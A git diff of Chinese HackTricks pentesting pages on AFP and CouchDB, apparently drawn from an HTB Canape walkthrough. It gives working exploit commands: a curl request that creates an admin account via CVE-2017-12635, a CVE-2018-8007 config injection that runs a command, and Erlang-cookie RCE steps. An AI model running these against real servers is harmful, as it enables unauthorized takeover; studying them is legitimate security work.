* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来**分享您的黑客技巧**。
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,52 +1,55 @@
|
|||
# 548 - 对Apple Filing Protocol (AFP)的渗透测试
|
||||
# 548 - 渗透测试苹果文件传输协议(AFP)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Apple Filing Protocol** (**AFP**), 之前称为AppleTalk Filing Protocol, 是一种专有网络协议,是**Apple File Service** (**AFS**)的一部分,为macOS和经典Mac OS提供文件服务。在macOS中,AFP是支持的几种文件服务之一。AFP目前支持Unicode文件名、POSIX和访问控制列表权限、资源分叉、命名的扩展属性和高级文件锁定。在Mac OS 9及更早版本中,AFP是文件服务的主要协议。
|
||||
**苹果文件传输协议**(**AFP**),曾被称为AppleTalk文件传输协议,是**苹果文件服务**(**AFS**)中包含的一种专用网络协议。它旨在为macOS和经典Mac OS提供文件服务。AFP以支持Unicode文件名、POSIX和访问控制列表权限、资源叉、命名扩展属性以及复杂的文件锁定机制而著称。它是Mac OS 9及更早版本中的主要文件服务协议。
|
||||
|
||||
**默认端口:** 548
|
||||
```
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
## 枚举
|
||||
### **枚举**
|
||||
|
||||
对于AFP服务的枚举,以下命令和脚本很有用:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
```
|
||||
| **名称** | **描述** |
|
||||
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| afp-ls | 列出可用的AFP卷和文件 |
|
||||
| afp-path-vuln | 列出所有AFP卷和文件[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch15.html#ch15fn48) |
|
||||
| afp-serverinfo | 显示AFP服务器信息 |
|
||||
| afp-showmount | 列出可用的AFP共享和各自的ACLs |
|
||||
**脚本及其描述:**
|
||||
|
||||
- **afp-ls**:此脚本用于列出可用的AFP卷和文件。
|
||||
- **afp-path-vuln**:它列出所有AFP卷和文件,并突出显示潜在的漏洞。
|
||||
- **afp-serverinfo**:提供有关AFP服务器的详细信息。
|
||||
- **afp-showmount**:它列出可用的AFP共享以及它们各自的ACL。
|
||||
|
||||
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#afp)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,26 @@
|
|||
# 5984,6984 - 对CouchDB的渗透测试
|
||||
# 5984,6984 - Pentesting CouchDB
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## **基本信息**
|
||||
|
||||
CouchDB是一个面向文档的数据库,在每个文档中字段以键值映射的形式存储。字段可以是简单的键/值对、列表或映射。
|
||||
**CouchDB**是一种多功能且强大的**面向文档的数据库**,它使用**键-值映射**结构在每个**文档**内组织数据。文档内的字段可以表示为**键/值对、列表或映射**,提供了数据存储和检索的灵活性。
|
||||
|
||||
存储在数据库中的每个文档都被赋予一个文档级别的唯一标识符(`_id`)以及每次更改并保存到数据库的修订号(`_rev`)。
|
||||
在CouchDB中,每个存储的**文档**都被分配一个文档级别的**唯一标识符**(`_id`)。此外,对数据库进行的每次修改并保存都会被分配一个**修订号**(`_rev`)。这个修订号允许有效地**跟踪和管理更改**,便于在数据库内轻松检索和同步数据。
|
||||
|
||||
**默认端口:** 5984(http), 6984(https)
|
||||
**默认端口:**5984(http),6984(https)
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
5984/tcp open unknown syn-ack
|
||||
|
@ -36,55 +36,55 @@ msf> use auxiliary/scanner/couchdb/couchdb_enum
|
|||
```
|
||||
curl http://IP:5984/
|
||||
```
|
||||
此操作向已安装的CouchDB实例发出GET请求。回复应类似于以下之一:
|
||||
这会向已安装的CouchDB实例发出GET请求。回复应该类似于以下内容之一:
|
||||
```bash
|
||||
{"couchdb":"Welcome","version":"0.10.1"}
|
||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
请注意,如果访问 couchdb 的根目录时收到 `401 Unauthorized`,并出现如下信息:`{"error":"unauthorized","reason":"Authentication required."}`,**您将无法访问**横幅或任何其他端点。
|
||||
请注意,如果访问couchdb的根目录收到`401 Unauthorized`,类似于这样的消息:`{"error":"unauthorized","reason":"Authentication required."}` **您将无法访问**横幅或任何其他端点。
|
||||
{% endhint %}
|
||||
|
||||
### 信息枚举
|
||||
|
||||
以下是您可以通过 **GET** 请求访问并提取一些有趣信息的端点。您可以在 [**couchdb 文档中找到更多端点和更详细的描述**](https://docs.couchdb.org/en/latest/api/index.html)。
|
||||
以下是您可以使用**GET**请求访问并提取一些有趣信息的端点。您可以在[couchdb文档中找到更多端点和更详细的描述](https://docs.couchdb.org/en/latest/api/index.html)。
|
||||
|
||||
* **`/_active_tasks`** 正在运行的任务列表,包括任务类型、名称、状态和进程 ID。
|
||||
* **`/_all_dbs`** 返回 CouchDB 实例中所有数据库的列表。
|
||||
* **`/_cluster_setup`** 根据集群设置向导返回节点或集群的状态。
|
||||
* **`/_db_updates`** 返回 CouchDB 实例中所有数据库事件的列表。使用此端点需要 `_global_changes` 数据库的存在。
|
||||
* **`/_membership`** 显示作为 `cluster_nodes` 的集群部分的节点。字段 `all_nodes` 显示此节点所知的所有节点,包括集群的一部分。
|
||||
* **`/_scheduler/jobs`** 复制作业列表。每个作业描述将包括源和目标信息、复制 id、最近事件的历史记录等。
|
||||
* **`/_scheduler/docs`** 复制文档状态列表。包括所有文档的信息,即使是 `completed` 和 `failed` 状态的文档。对于每个文档,它返回文档 ID、数据库、复制 ID、源和目标等信息。
|
||||
* **`/_scheduler/docs/{replicator_db}`**
|
||||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
* **`/_node/{node-name}`** `/_node/{node-name}` 端点可用于确认处理请求的服务器的 Erlang 节点名称。当访问 `/_node/_local` 以检索此信息时,这最有用。
|
||||
* **`/_node/{node-name}/_stats`** `_stats` 资源返回包含运行服务器统计信息的 JSON 对象。字面字符串 `_local` 作为本地节点名称的别名,因此对于所有统计 URL,`{node-name}` 可以替换为 `_local`,以与本地节点的统计信息进行交互。
|
||||
* **`/_node/{node-name}/_system`** \_system 资源返回包含运行服务器的各种系统级统计信息的 JSON 对象\_。您可以使用 \_\_`_local` 作为 {node-name} 来获取当前节点信息。
|
||||
* **`/_node/{node-name}/_restart`**
|
||||
* **`/_up`** 确认服务器正在运行,并准备响应请求。如果 [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) 为 `true` 或 `nolb`,端点将返回 404 响应。
|
||||
* **`/_uuids`** 从 CouchDB 实例请求一个或多个通用唯一标识符(UUID)。
|
||||
* **`/_reshard`** 返回已完成、失败、运行、停止和总作业的计数,以及集群上重分片的状态。
|
||||
- **`/_active_tasks`** 正在运行的任务列表,包括任务类型、名称、状态和进程ID。
|
||||
- **`/_all_dbs`** 返回CouchDB实例中所有数据库的列表。
|
||||
- **`/_cluster_setup`** 返回节点或集群的状态,根据集群设置向导。
|
||||
- **`/_db_updates`** 返回CouchDB实例中所有数据库事件的列表。需要存在`_global_changes`数据库才能使用此端点。
|
||||
- **`/_membership`** 显示作为`cluster_nodes`的集群中的节点。字段`all_nodes`显示此节点知道的所有节点,包括作为集群一部分的节点。
|
||||
- **`/_scheduler/jobs`** 复制作业列表。每个作业描述将包括源和目标信息、复制ID、最近事件的历史记录等其他信息。
|
||||
- **`/_scheduler/docs`** 复制文档状态列表。包括所有文档的信息,甚至在`completed`和`failed`状态下。对于每个文档,它返回文档ID、数据库、复制ID、源和目标等信息。
|
||||
- **`/_scheduler/docs/{replicator_db}`**
|
||||
- **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
- **`/_node/{node-name}`** `/_node/{node-name}`端点可用于确认处理请求的服务器的Erlang节点名称。在访问`/_node/_local`以检索此信息时,这是最有用的。
|
||||
- **`/_node/{node-name}/_stats`** `_stats`资源返回包含运行服务器统计信息的JSON对象。字面字符串`_local`用作本地节点名称的别名,因此对于所有统计URL,可以将`{node-name}`替换为`_local`,以与本地节点的统计信息交互。
|
||||
- **`/_node/{node-name}/_system`** `_system`资源返回包含运行服务器各种系统级统计信息的JSON对象。您可以使用`_local`作为`{node-name}`来获取当前节点信息。
|
||||
- **`/_node/{node-name}/_restart`**
|
||||
- **`/_up`** 确认服务器正在运行并准备好响应请求。如果[`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode)为`true`或`nolb`,端点将返回404响应。
|
||||
- **`/_uuids`** 从CouchDB实例请求一个或多个通用唯一标识符(UUIDs)。
|
||||
- **`/_reshard`** 返回已完成、失败、运行、停止和总作业计数以及集群上resharding状态。
|
||||
|
||||
可以如此处所解释的那样提取更多有趣的信息:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
可以提取更多有趣信息,如此处所述:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
|
||||
### **数据库列表**
|
||||
```
|
||||
curl -X GET http://IP:5984/_all_dbs
|
||||
```
|
||||
如果该请求**响应401未授权**,则您需要一些**有效的凭据**来访问数据库:
|
||||
如果该请求以401未经授权的方式回应,则您需要一些有效的凭据来访问数据库:
|
||||
```
|
||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||
```
|
||||
为了找到有效的凭证,你可以**尝试**[**暴力破解服务**](../generic-methodologies-and-resources/brute-force.md#couchdb)。
|
||||
为了找到有效的凭证,您可以**尝试**[**暴力破解服务**](../generic-methodologies-and-resources/brute-force.md#couchdb)。
|
||||
|
||||
以下是当你拥有足够权限列出数据库时,couchdb的**响应**示例(这只是数据库列表):
|
||||
这是一个couchdb的**响应示例**,当您有**足够的权限**来列出数据库时(这只是一个数据库列表):
|
||||
```bash
|
||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||
```
|
||||
### 数据库信息
|
||||
|
||||
您可以通过访问数据库名称来获取一些数据库信息(如文件数量和大小):
|
||||
您可以访问数据库名称来获取一些数据库信息(如文件数量和大小):
|
||||
```bash
|
||||
curl http://IP:5984/<database>
|
||||
curl http://localhost:5984/simpsons
|
||||
|
@ -93,7 +93,7 @@ curl http://localhost:5984/simpsons
|
|||
```
|
||||
### **文档列表**
|
||||
|
||||
列出数据库内的每个条目
|
||||
列出数据库中的每个条目
|
||||
```bash
|
||||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||||
curl http://localhost:5984/simpsons/_all_docs
|
||||
|
@ -110,188 +110,116 @@ curl http://localhost:5984/simpsons/_all_docs
|
|||
```
|
||||
### **读取文档**
|
||||
|
||||
读取数据库内部文档的内容:
|
||||
读取数据库中文档的内容:
|
||||
```bash
|
||||
curl -X GET http://IP:5984/{dbname}/{id}
|
||||
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||||
#Example response:
|
||||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||||
```
|
||||
## CouchDB 权限提升 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
## CouchDB特权提升 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
|
||||
由于 Erlang 和 JavaScript JSON 解析器之间的差异,您可以使用以下请求**创建一个管理员用户**,凭据为 `hacktricks:hacktricks`:
|
||||
由于Erlang和JavaScript JSON解析器之间的差异,您可以使用以下请求**创建一个具有凭据`hacktricks:hacktricks`的管理员用户**:
|
||||
```bash
|
||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||
```
|
||||
[**关于此漏洞的更多信息**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||
[**有关此漏洞的更多信息请点击此处**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||
|
||||
## CouchDB RCE
|
||||
|
||||
### Erlang Cookie
|
||||
### **Erlang Cookie 安全概述**
|
||||
|
||||
在CouchDB文档的[集群设置部分](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup),讨论了CouchDB使用的不同端口:
|
||||
示例[在这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
> CouchDB在集群模式下使用端口`5984`,就像独立模式一样,但它也使用`5986`用于节点本地API。
|
||||
>
|
||||
> Erlang使用TCP端口`4369`(EPMD)来查找其他节点,因此所有服务器必须能够在此端口上相互通信。在Erlang集群中,所有节点都连接到所有其他节点。一个网状结构。
|
||||
在CouchDB文档中,特别是在有关集群设置的部分([链接](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)),讨论了CouchDB在集群模式下使用的端口。文档提到,与独立模式一样,端口`5984`被使用。此外,端口`5986`用于节点本地API,而重要的是,Erlang需要TCP端口`4369`用于Erlang Port Mapper Daemon (EPMD),促进Erlang集群内的节点通信。这种设置形成了一个网络,其中每个节点与其他每个节点都相互链接。
|
||||
|
||||
然后有一个有趣的警告:
|
||||
|
||||
![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)
|
||||
|
||||
如果我们查看进程列表,我们可以看到那个cookie,“monster”:
|
||||
关于端口`4369`突出了一个关键的安全警报。如果此端口在互联网或任何不受信任的网络上可访问,系统的安全性将严重依赖于一个称为"cookie"的唯一标识符。这个cookie充当了一个保护措施。例如,在给定的进程列表中,可能会观察到名为"monster"的cookie,表明其在系统安全框架中的操作角色。
|
||||
```
|
||||
www-data@canape:/$ ps aux | grep couchdb
|
||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||
```
|
||||
**您可以**[**阅读本节了解如何滥用Erlangs cookies以获得RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。**\
|
||||
此外,您可以阅读一些**Canape HTB机器剖析**[**像这篇**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)来看看并**实践**如何**利用这个漏洞**。
|
||||
对于那些想要了解如何在 Erlang 系统中利用这个 "cookie" 实现远程代码执行(RCE)的人,可以阅读专门的章节。该章节详细介绍了利用 Erlang cookie 以未经授权的方式控制系统的方法。您可以**[在这里查看有关滥用 Erlang cookie 实现 RCE 的详细指南](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。
|
||||
|
||||
### **成功利用CVE-2018-8007并具有local.ini写权限**
|
||||
### **通过修改 local.ini 利用 CVE-2018-8007**
|
||||
|
||||
在撰写本文时,我发现mdsec发布了一个新的CouchDB CVE,[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。它也需要对`local.ini`文件的写入权限,所以它对Canape来说不是一个有用的选项。但既然我已经将其设置为root可写,让我们看看我们是否能让它工作。
|
||||
示例[在这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
|
||||
|
||||
从一个干净且现在可写的`local.ini`(和一个备份)开始:
|
||||
```
|
||||
最近披露的漏洞 CVE-2018-8007 影响了 Apache CouchDB,揭示了利用该漏洞需要对 `local.ini` 文件具有写入权限。尽管由于安全限制,这并不直接适用于初始目标系统,但为了探索目的,对 `local.ini` 文件进行了修改以授予写入访问权限。下面提供了详细的步骤和代码示例,演示了该过程。
|
||||
|
||||
首先,通过确保 `local.ini` 文件可写来准备环境,并通过列出权限进行验证:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# ls -l
|
||||
total 40
|
||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
|
||||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||
```
|
||||
我们可以使用curl修改`local.ini`文件中的origins。这里的漏洞是,如果我们使用curl放入一个新的origin然后是新的行,我们可以写入额外的内容,包括一个新的头部和细节。因此,我们将利用`[os_daemons]`字段,并添加一个进程让CouchDB尝试持续运行:
|
||||
为了利用这个漏洞,执行一个curl命令,针对`local.ini`中的`cors/origins`配置。这会在`[os_daemons]`部分注入一个新的origin以及额外的命令,旨在执行任意代码:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||
```
|
||||
在根shell中,我们可以看到变化:
|
||||
```
|
||||
随后的验证显示在 `local.ini` 中注入的配置,将其与备份进行对比以突出显示更改:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||
119,124d118
|
||||
<
|
||||
< [cors]
|
||||
< origins = 0xdf
|
||||
<
|
||||
< [os_daemons]
|
||||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||||
```
|
||||
文件却不在那里:
|
||||
```
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
ls: cannot access '/tmp/0xdf': No such file or directory
|
||||
```
|
||||
如果我们查看带有“couchdb”命令行的正在运行的进程,我们不仅可以看到早先我们使用过的cookie值的命令行,还有`runsrv couchdb`:
|
||||
```
|
||||
最初,预期的文件(`/tmp/0xdf`)不存在,表明注入的命令尚未执行。进一步调查发现,与CouchDB 相关的进程正在运行,其中一个可能会执行注入的命令:
|
||||
```bash
|
||||
root@canape:/home/homer/bin# ps aux | grep couch
|
||||
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
|
||||
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
|
||||
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
|
||||
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
|
||||
```
|
||||
如果我们终止那个进程,它会立即重启(注意新的pid):
|
||||
```
|
||||
通过终止已识别的CouchDB进程并允许系统自动重新启动,触发了注入命令的执行,通过之前丢失的文件的存在得到确认:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# kill 711
|
||||
root@canape:/home/homer/etc# ps aux | grep runsrv
|
||||
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
|
||||
```
|
||||
在重启时,运行OS\_Daemons:
|
||||
```
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
/tmp/0xdf
|
||||
```
|
||||
### **通过 CVE-2017-12636 成功尝试并具有 local.ini 写权限**
|
||||
这项探索确认了在特定条件下利用CVE-2018-8007的可行性,特别是需要对`local.ini`文件具有可写访问权限。提供的代码示例和操作步骤为在受控环境中复制利用漏洞提供了清晰指南。
|
||||
|
||||
CVE-2017-12636 允许通过 couchdb 进程执行代码。然而,在这种配置中它不会起作用。
|
||||
有关CVE-2018-8007的更多详细信息,请参考mdsec发布的公告:[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。
|
||||
|
||||
有一些 POC 可以作为参考:
|
||||
### **使用local.ini写权限探索CVE-2017-12636**
|
||||
|
||||
* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)
|
||||
示例[在这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
|
||||
|
||||
我们需要编写一个新的 query\_server,然后调用它。当 Canape 发布时,大多数 POC 都是针对 couchdb 1.x 的,但这个盒子运行的是 2,所以大多数 POC 中的 query\_servers 路径不存在。现在已经改变了,但我们将遵循相同的步骤。首先,获取版本,并显示 1.X 路径不存在:
|
||||
探讨了一种名为CVE-2017-12636的漏洞,它通过CouchDB进程实现代码执行,尽管特定配置可能会阻止其利用。尽管在线上有许多可用的概念验证(POC)参考,但需要调整才能利用CouchDB版本2上的漏洞,与通常被瞄准的版本1.x不同。初始步骤涉及验证CouchDB版本并确认预期的查询服务器路径不存在。
|
||||
```bash
|
||||
www-data@canape:/var/www/git$ curl http://localhost:5984
|
||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||
|
||||
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||
{"error":"not_found","reason":"Database does not exist."}
|
||||
curl http://localhost:5984
|
||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||
```
|
||||
更新为2.0的新路径:
|
||||
为了适应CouchDB 2.0版本,使用了新的路径:
|
||||
```bash
|
||||
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
|
||||
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
|
||||
|
||||
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
|
||||
curl 'http://0xdf:df@localhost:5984/_membership'
|
||||
